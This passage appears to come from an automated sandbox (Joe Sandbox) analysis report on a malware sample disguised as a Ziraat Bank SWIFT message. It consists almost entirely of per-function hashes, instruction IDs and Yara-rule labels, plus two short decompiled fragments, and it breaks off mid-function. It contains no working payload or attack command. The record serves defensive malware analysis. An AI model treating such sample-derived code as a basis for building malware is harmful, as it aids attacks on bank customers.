                                                                        • API String ID:
                                                                        • Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
                                                                        • Instruction ID: f5a9f15ec733be00d2f1adc80ec591247c27d10cf1bf1ab0dbb7f76c7035c762
                                                                        • Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
                                                                        • Instruction Fuzzy Hash: 37B092353219418FCF16DF1CC080B1533E4BB44A40F8400D0E400CBA21D329E8009900
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A2ACB Relevance: .0, Instructions: 5COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E012A2ACB() {
				void* _t5;

				return E0128EB70(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
			}




                                                                        0x012a2adc

                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
                                                                        • Instruction ID: 01429860113e577d9a678a89322a228996217f528049f9cd9ebe6066010b689c
                                                                        • Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
                                                                        • Instruction Fuzzy Hash: 4CB01232C21441CFCF02FF40CA10B297331FB00750F064490900127970C228AC01CB40
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9950 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: bba61de06b2804b907b478840f0e7ba76bb0c08134e766a6ed13632982e6fd26
                                                                        • Instruction ID: cbd258dba6a7026c1daebfa72aa5caaac235844e76d5fba1b7d800c740ab33cc
                                                                        • Opcode Fuzzy Hash: bba61de06b2804b907b478840f0e7ba76bb0c08134e766a6ed13632982e6fd26
                                                                        • Instruction Fuzzy Hash: 4C9002B121144803D24065A948046070005A7D0742F51C125A3054595ECA698D5172B5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B99D0 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 8e4ff9ceb9362c4551953cb55f0c3a61253eb12dc390ac0e40da0a2599dd27ea
                                                                        • Instruction ID: 968e0f2ce4c386b266f4f7222648cedd20f07e4efff9e93bfd83b5ddc52e0350
                                                                        • Opcode Fuzzy Hash: 8e4ff9ceb9362c4551953cb55f0c3a61253eb12dc390ac0e40da0a2599dd27ea
                                                                        • Instruction Fuzzy Hash: C69002B122104442D20461A944047060045A7E1641F51C126A3144594CC5698D6162A5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9820 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 128dec471bd15d8c5ac5aea31fd9beb3b53ec99fc46571ab31487c35bb422b04
                                                                        • Instruction ID: a3d7ce4e655912dfbd9b7ce389217b751213791eac6e4b9cd52a79c2cd5b41b8
                                                                        • Opcode Fuzzy Hash: 128dec471bd15d8c5ac5aea31fd9beb3b53ec99fc46571ab31487c35bb422b04
                                                                        • Instruction Fuzzy Hash: B290027125104802D24171A944046060009B7D0681F91C126A1414594EC6958B56BBE1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012BB040 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: b0d885e110bc09268b64fc6c7002357fc1aa3b12597221f32633759ebc043ce7
                                                                        • Instruction ID: a7facfb3a199e08e685ad40ea91f47ed165a1f496266c7c53d840ae06584c338
                                                                        • Opcode Fuzzy Hash: b0d885e110bc09268b64fc6c7002357fc1aa3b12597221f32633759ebc043ce7
                                                                        • Instruction Fuzzy Hash: 4D9002B1611184434640B1A948044065015B7E1741391C235A14445A0CC6A88955A3E5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B98A0 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 91393995333d6db4fae137ad0c1ac1ddede275a7e59845ee0d904f2aa3fe2020
                                                                        • Instruction ID: 17ae1142d9ab2bf4a528a796434325e8a5accfffb8b554124aec5b143c85e586
                                                                        • Opcode Fuzzy Hash: 91393995333d6db4fae137ad0c1ac1ddede275a7e59845ee0d904f2aa3fe2020
                                                                        • Instruction Fuzzy Hash: A490027131104802D20261A944146060009E7D1785F91C126E2414595DC6658A53B2B2
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9B00 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: e910245ea6c4e3d1ecaa364c48d61c1dd1fc49d9e244d82f376d5cdc5f81a7ed
                                                                        • Instruction ID: c693556ae33dcf124fed691d58febb2c4a8e45b1c03a8569893626d20421c6f3
                                                                        • Opcode Fuzzy Hash: e910245ea6c4e3d1ecaa364c48d61c1dd1fc49d9e244d82f376d5cdc5f81a7ed
                                                                        • Instruction Fuzzy Hash: A090027125104C02D24071A984147070006E7D0A41F51C125A1014594DC6568A6577F1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012BA3B0 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: d07a81a99d213428ef5caf8495d39277baac930f39e106a2df073ca099ffde5b
                                                                        • Instruction ID: ff9019655d584ac08d3125a9bdf432afcdf0cc32f12297ba981b3091c2c99b9a
                                                                        • Opcode Fuzzy Hash: d07a81a99d213428ef5caf8495d39277baac930f39e106a2df073ca099ffde5b
                                                                        • Instruction Fuzzy Hash: 8190027121148402D24071A9844460B5005B7E0741F51C525E1415594CC6558956A3A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9A10 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: bffc76a4a62e2e5d00de2d6a01f820dfec428fbb4cccd48e5c4b970bc30b6390
                                                                        • Instruction ID: 64357056dba6ba07aa99b764bdc7069acecee4cc1ecd38850430ccf840078def
                                                                        • Opcode Fuzzy Hash: bffc76a4a62e2e5d00de2d6a01f820dfec428fbb4cccd48e5c4b970bc30b6390
                                                                        • Instruction Fuzzy Hash: 1790027121144802D20061A948087470005A7D0742F51C125A6154595EC6A5C99176B1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9A80 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: b693a01c7aaa6b5330f79be3a266bc78ca16cc51ac9cbf5d087e93fb90e76f27
                                                                        • Instruction ID: 7f2a31655b4d0f67e040b985c714be00d08bc22c0826708e7402878d1bf464b4
                                                                        • Opcode Fuzzy Hash: b693a01c7aaa6b5330f79be3a266bc78ca16cc51ac9cbf5d087e93fb90e76f27
                                                                        • Instruction Fuzzy Hash: 5290027121148842D24062A94804B0F4105A7E1642F91C12DA5146594CC955895567A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9520 Relevance: .0, Instructions: 4COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 20d4dc2cd65411972b3b172c58f1111a8fc848db99b19be9a8eef37ebb930f86
                                                                        • Instruction ID: 3e0bcf80f969f8813d9bc02f72be9aa34f24e4064908fe96f5699f50c02b90bd
                                                                        • Opcode Fuzzy Hash: 20d4dc2cd65411972b3b172c58f1111a8fc848db99b19be9a8eef37ebb930f86
                                                                        • Instruction Fuzzy Hash: 489002F1211184924600A2A98404B0A4505A7E0641B51C12AE20445A0CC5658951A2B5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012BAD30 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 71f4849e4c838116d48c1f840e8797fa2215f0cf789d08bed79af0d82e5ae71f
                                                                        • Instruction ID: 5e2e5cd1c118f3209862e8ba581dab96ff21fc6b30cc0736dc491eed47d45134
                                                                        • Opcode Fuzzy Hash: 71f4849e4c838116d48c1f840e8797fa2215f0cf789d08bed79af0d82e5ae71f
                                                                        • Instruction Fuzzy Hash: 0B900271A1504412924071A948146464006B7E0B81B55C125A1504594CC9948B5563E1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9560 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: d40fdf4bb71c7876ff2004690503cca59ec04a138d5b713f91e12dc844bea1ec
                                                                        • Instruction ID: d26279746fa2f6bd65d563fb24ae621bea64be848b99f03f879b840500c6fccd
                                                                        • Opcode Fuzzy Hash: d40fdf4bb71c7876ff2004690503cca59ec04a138d5b713f91e12dc844bea1ec
                                                                        • Instruction Fuzzy Hash: BB900275231044020245A5A9060450B0445B7D6791391C129F24065D0CC661896563A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B95F0 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: d17aebfb34c071d671c9bb29390d2c0d4749d3185d6c64da0ddc3d097da7cafb
                                                                        • Instruction ID: b052f7280d6ea31354e0149fa5ef9be5ca7cf4487b30bbfe0ada7990957e3d82
                                                                        • Opcode Fuzzy Hash: d17aebfb34c071d671c9bb29390d2c0d4749d3185d6c64da0ddc3d097da7cafb
                                                                        • Instruction Fuzzy Hash: C590027121104C02D20461A948046860005A7D0741F51C125A7014695ED6A5899172B1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9730 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 2016cec8ebe5e107ede3c5fceaedd30b8c2c3f6d91803e2a1166787bf424060c
                                                                        • Instruction ID: 571ebfa8ea1a0ebb07d924ac2d4368dc7c1b3280429e6d9fd0c1c19bb606ef36
                                                                        • Opcode Fuzzy Hash: 2016cec8ebe5e107ede3c5fceaedd30b8c2c3f6d91803e2a1166787bf424060c
                                                                        • Instruction Fuzzy Hash: 5990027161504802D24071A954187060015A7D0641F51D125A1014594DC6998B5577E1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012BA710 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 2828be6b1f152589de1b143415659f73db4996f02fe196efc68af06beb8b1a25
                                                                        • Instruction ID: c13281119e44a15ea2257da0538eb1a0d3e804eb0d2376bad1070f691181224d
                                                                        • Opcode Fuzzy Hash: 2828be6b1f152589de1b143415659f73db4996f02fe196efc68af06beb8b1a25
                                                                        • Instruction Fuzzy Hash: 8E900271311044529600A6E95804A4A4105A7F0741B51D129A5004594CC594896162A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9760 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 70c87b741c3ef9a8d626450a52f9da790241e543167136d03346abfe47e3ceec
                                                                        • Instruction ID: 592ce22e77acab820010295a225c2c4742bf2cafdbd7ea7b23d8c25ade76ef26
                                                                        • Opcode Fuzzy Hash: 70c87b741c3ef9a8d626450a52f9da790241e543167136d03346abfe47e3ceec
                                                                        • Instruction Fuzzy Hash: BD90027121104803D20061A955087070005A7D0641F51D525A1414598DD696895172A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012BA770 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: c578d9446142c63de76685ba2c97088a1be320673dd5e89ccda8d82adfd39b79
                                                                        • Instruction ID: e3fb2d7dd5e0cf0bb9dc2dc6fef459d51e3ad41abd4b0a35a98c3c5bddf1266d
                                                                        • Opcode Fuzzy Hash: c578d9446142c63de76685ba2c97088a1be320673dd5e89ccda8d82adfd39b79
                                                                        • Instruction Fuzzy Hash: C390027521508842D60065A95804A870005A7D0745F51D525A14145DCDC6948961B2A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9770 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: edf2bdd08d18072595877946eb1d0aa74d4eb82db04cfac5981863591d1e1ea0
                                                                        • Instruction ID: e3252b9df16251dade5d18ed3c5449b76442c4e9875820d055b76e1014368983
                                                                        • Opcode Fuzzy Hash: edf2bdd08d18072595877946eb1d0aa74d4eb82db04cfac5981863591d1e1ea0
                                                                        • Instruction Fuzzy Hash: A290027121508842D20065A95408A060005A7D0645F51D125A20545D5DC6758951B2B1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9610 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 36014bcb8e99dc7de23eb5f3fe33d55fb8cacb083a2615080cfde71822be7d71
                                                                        • Instruction ID: a6c601acab55f8dbd65b379a11d30f84f566bb685de137614543763c2ee889da
                                                                        • Opcode Fuzzy Hash: 36014bcb8e99dc7de23eb5f3fe33d55fb8cacb083a2615080cfde71822be7d71
                                                                        • Instruction Fuzzy Hash: 6490027161504C02D25071A944147460005A7D0741F51C125A1014694DC7958B5577E1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9650 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: acf0e38e8ae697dfed32998761a677455576387ba3ef9ccd10747c1a3424d343
                                                                        • Instruction ID: ce2ca7450c99aa81047f6f79e694568c6c285538068715a7aae82a7b30c38c80
                                                                        • Opcode Fuzzy Hash: acf0e38e8ae697dfed32998761a677455576387ba3ef9ccd10747c1a3424d343
                                                                        • Instruction Fuzzy Hash: 4890027121508C42D24071A94404A460015A7D0745F51C125A10546D4DD6658E55B7E1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B96D0 Relevance: .0, Instructions: 4COMMON
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: 67b958fb649c3467b1b537aa11705a80b2c5170b6fad55f7c7004a0043500fb5
                                                                        • Instruction ID: c9c3ca31a63633a327f7876a4151525d966cc73d1b92530a622350e1f810934a
                                                                        • Opcode Fuzzy Hash: 67b958fb649c3467b1b537aa11705a80b2c5170b6fad55f7c7004a0043500fb5
                                                                        • Instruction Fuzzy Hash: E090027121104C42D20061A94404B460005A7E0741F51C12AA1114694DC655C95176A1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012B9670 Relevance: .0, Instructions: 2COMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID:
                                                                        • API String ID:
                                                                        • Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                                        • Instruction ID: 2de756c70de4eb4ae17637db2fd10f1d4fde85db7bd10814bb1a57613ad2b5f0
                                                                        • Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
                                                                        • Instruction Fuzzy Hash:
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012A645B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109timeCOMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 26%
                                                                        			E012A645B(void* __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v8;
				void* _v36;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				char _v60;
